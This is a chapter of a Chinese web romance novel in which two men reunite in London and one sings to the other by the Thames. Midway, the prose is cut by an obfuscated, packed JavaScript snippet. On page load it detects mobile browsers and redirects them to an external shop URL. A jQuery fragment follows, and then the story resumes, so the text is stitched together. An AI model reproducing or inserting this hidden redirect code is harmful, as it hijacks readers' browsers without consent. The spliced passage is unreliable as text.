44.第 44 章
作品:《前男友非要和我复合》 英国的四季变化并不明显,春天总是悄无声息的降临,带着明显和煦的春风。
裴然盯着屏幕上的文字,几乎是本能地抬起头,瞧见不远处的屋檐下,站着一位比春风还温暖的人。
男人张开双臂,宽阔的胸膛像是可以阻挡世间所有烦心事,薄唇微启,轻声唤他。
隔得太远,他听不清楚,但看嘴型是叫的——然然。
何其有幸,分离多年后爱人仍旧愿意爱着他。
他学着顾临川的模样张开双臂,像离弦的箭一般朝他冲过去,稳稳落入他的怀中。
“你怎么会来?”裴然环住他的腰,耳朵贴在他胸口,“看到消息的时候,我还以为你在逗我。”
“旷工了,来看看你。”顾临川揉了揉他的发顶,又摸着他薄薄的外套,皱眉,“怎么不多穿点?”
有一种冷叫男朋友觉得你冷。
裴然颇为无奈,用自己微热的掌心去贴他的侧脸,为自己证明:“英国升温啦,我一点都不冷。”
顾临川见他的确不冷,才放弃要将外套披到他肩上的想法。
“老板怎么带头旷工呀?”裴然拉着他的手往前走,语气是自己都没有意识到的撒娇,“这算不算新时代的从此君王不早朝?”
“我来见见自己的男朋友,有什么错?算不上昏庸。”顾临川勾唇笑,“更何况,我是老板谁敢说我?”
裴然笑道:“真是霸道啊。”
顾临川挑眉:“一点老板的特权而已。”
裴然轻声又问:“很忙吗?可以多待几天吗?”
顾临川说:“晚上就回。”
“这么快?”裴然不自觉地耷拉着脑袋,下一秒又恢复原状,“没事的,很快婚宴开始,我就回来找你。”
顾临川低头,在他脸上落下一吻,“麻烦多陪陪我吧,我很需要你。”
“我知道了。”裴然闷声说。
顾临川说:“走前去医院看看徐姨,她状态好点了吗?”
“好多了。”裴然看了看手表,还剩下五个小时的独处时间,“现在已经能站起来借助工具走几步了。”
顾临川:“那就好。”
伦敦今日的风很大,但并不冷,两人十指相扣,沿着前方漫无目的地走着。
湿润的风轻轻拂过泰晤士河面,泛起一层软金似的光,吹到两人身边。
裴然走在前面,脚步很慢,带着顾临川认识这个当年他独自生活的小世界。
“平时没课的时候,我常常会来这边。”裴然声音很轻,目光落在不远处的流浪汉音乐家身上,“有时候画图,有时候就发呆坐一会儿,吹吹风。”
顾临川安静地跟在他身侧,没打断,只是认真地听着。
裴然独自在英国的七年,他并没有参与,现在听到他随口提起,之间的心疼又珍贵。
初到英国时,人生地不熟的裴然会害怕吗?会想他吗?会在夜里偷偷抹眼泪吗?
裴然领着他走到一处矮栏杆旁边,那是他常待的位置。
悠扬的手风琴声顺着风传过来,让两人之间的气氛变得更浪漫又唯美。
“我在这里画过不少设计稿,来往的人群,昏暗的天气,甚至是大本钟的钟声,都会给我带来无限的灵感。”裴然指尖轻轻放在栏杆上,感慨,“有时候我也觉得,苦难是灵感的温床,在英国的这些年,是苦难成就了我,它让我无法沉溺在幸福编织的象牙塔里,逼着我走出来,逼着我一点一点画下来……”
顾临川看着他的侧脸,阳光落在他的睫毛上,柔和的像一幅油画。
他知道裴然会这样想只是在欺骗自己,将一切的苦难视作命运的恩赐,或许会好受一些。
人生就是这样,有得必有失。上帝为你关上一扇门的同时,就会为你打开一扇窗。
在接连失去了亲情和爱情之后,他的事业迎来了春天,是馈赠还是补偿?谁也说不清楚。
许久之后,他缓缓开口:“苦难并不会造就天才,苦难只会让人失去和痛苦。”
顾临川的声音软下来,像是在哄一个倔强的孩子:“你的才华不需要靠这些伤口来发光,就算没有经历这些,你也会不断地成长,最终成为被所有人仰望的设计师。”
裴然眼神温柔地望着他,破涕为笑:“你喜欢我,当然会觉得我很厉害。”
顾临川问:“还记得你在我家看到的那副油画吗?”
“记得。”裴然想起有关这副油画的故事,“怎么了?”
“当时我和英国的合作商一起来义卖展览参观,我并不知道会有你的作品。”顾临川握紧他的手,温暖着他微凉的指尖,“是他在聊天中无意提起,从前在中国购买过一副油画,从此他便深深地迷恋上了,所以特意邀请我来此。”
裴然深吸一口气,试探地问:“不会买的是我的吧?”
“是的。”顾临川继续说,“当时逛完了整座展馆,他非常兴奋地告诉我,他发现一副油画和当年的笔触十分相似,像是有神性,并且同样是是来自东方,当时他立刻打算买下收藏。只可惜,我看见了下方的署名,再我也表达了喜爱之后,他便忍痛割爱了。”
裴然不知道这幅画还有这样的经历,不禁有些震惊,他断然是不认为自己的画作有这样的魅力。
毕竟之前他作为应试教育,设计和灵感都相当死板,时常设计出华而不实的服装,还为此沾沾自喜。
但当时顾临川和父母一直很鼓励他,顾临川还为他举办过几场私人画展,邀请了一些国内有名的设计师为他作陪。
那副油画应该就是在那时候流通到英国的。
真是奇妙的联系。
“我还以为,当年的作品非常平凡,没想到……”裴然莫名唏嘘。
“现在相信了吗?”顾临川替他理了理额前的碎发,顺手揉上他冰凉的耳垂,“我说过,只要是你裴然,这一切就都会是你的,不论苦难或是幸福。”
“如果可以的话,我愿意用我的一切,去换你的幸福。”顾临川轻轻地抵上他的额头,安抚地蹭着,“从此以后,把幸福作为你灵感的温床,好吗?”
裴然睁着眼睛,看着近在咫尺的脸庞,对方双眼紧闭,眼睫轻颤,像是从前他在教堂里见过的虔诚的信徒。
他的内心再也无法宁静,他忽然反应过来发生了什么,此时此刻,有一个人在泰晤士河边,郑重地说下要他幸福的话,流动的空气和人群在一瞬间静止。
这一刻他只能看见眼前的顾临川。
比春天先来的,是顾临川。
聊完沉重的话题,裴然张开双臂让风灌了满怀,并让顾临川学着他的动作,说:“让泰晤士河岸的风,带走我们的烦恼吧。”
“嗯。”顾临川依言,却绕到裴然的身后,深深地拥住他,“我没有烦恼,我只要你。”
裴然笑弯了眼,转过身和他接了个温柔而缠绵的吻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223472|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之后,两人在河边悠闲地散步,裴然请顾临川喝了一杯从前最爱的热可可,捧在手心暖意直流心间,甜而不腻。
两人走到流浪汉音乐家的身边,流浪汉头发凌乱,抱着一把旧吉他,坐在路边自弹自唱。
路过的人群为之驻足,将他位在圈的中心。
裴然脚步顿了顿,目光落到吉他上,忽然笑了一下。
他回头看着顾临川,眼底闪着细碎的光:“等我一下。”
说完,他走向那位音乐家,低声交谈了几句,最后指了指站在不远处的顾临川。
对方顺着他的指尖看过来,在看清顾临川的脸时,笑了笑,爽快地把吉他递给他。
裴然抱着旧吉他在流浪汉旁边随便找了个位置坐下,面对着顾临川,指尖轻轻拨弄了一下琴弦,音色并不完美,却足够干净独特。
“我要唱一首歌,献给我最爱的男朋友。”
裴然含着笑,对着面前有些不解的人群解释着。
闻言,围观的众人纷纷热闹起来,起哄着将顾临川给挪到人群的中心。
裴然对顾临川说:“从前我走在泰晤士河边时,每一个拐角我都期望着可以见到你,如今我的愿望成真了,你真的站在我的面前。谢谢你愿意爱我。”
顾临川深深地望着他,等待着他的歌曲。
裴然深吸一口气,指尖开始拨动琴弦,伴随着简单、柔情的和弦,一首情歌倾泻出来。
“Dirty old river, must you keep rolling
Flowing into the night?
People so busy, make me feel dizzy
Taxi light shines so bright
But I don''t need no friends
As long as I gaze on Waterloo sunset
I am in paradise
Every day I look at the world from my window
But chilly, chilly is the evening time
Waterloo sunset''s fine
……”
裴然嗓音很独特,天生的薄荷音让整首曲子显得很清透,但他情感又有几分思念的委屈,在场的人们纷纷沉迷其中。
一曲终,余音散在风中。
人群中响起稀稀拉拉的掌声,一旁的音乐家也朝他投来赞赏的目光:“简直是太棒了这首曲子!”
裴然谦虚地笑着,将吉他递还给他,转身深深的扑进顾临川的怀抱。
顾临川神色难得有几分错愕,但仍旧牢牢地抱紧了他,在他耳畔低声说:“我很喜欢,谢谢然然。”
“不用谢。”裴然在他怀里笑得张扬,“你听,他们都在祝福我们。”
两人相拥的一瞬间,人群爆发出一阵哄闹,不少人甚至大胆地吹起轻快的口哨,跃跃欲试想叫他们亲吻一个。
闻言,顾临川收紧手臂,牢牢抱紧怀里的人,低头在他发顶落下一吻。
像是一场没有下跪和戒指的求婚,一对新人在泰晤士河边得到了来自全世界各地的祝福,和对方为自己不停跳动的心脏。

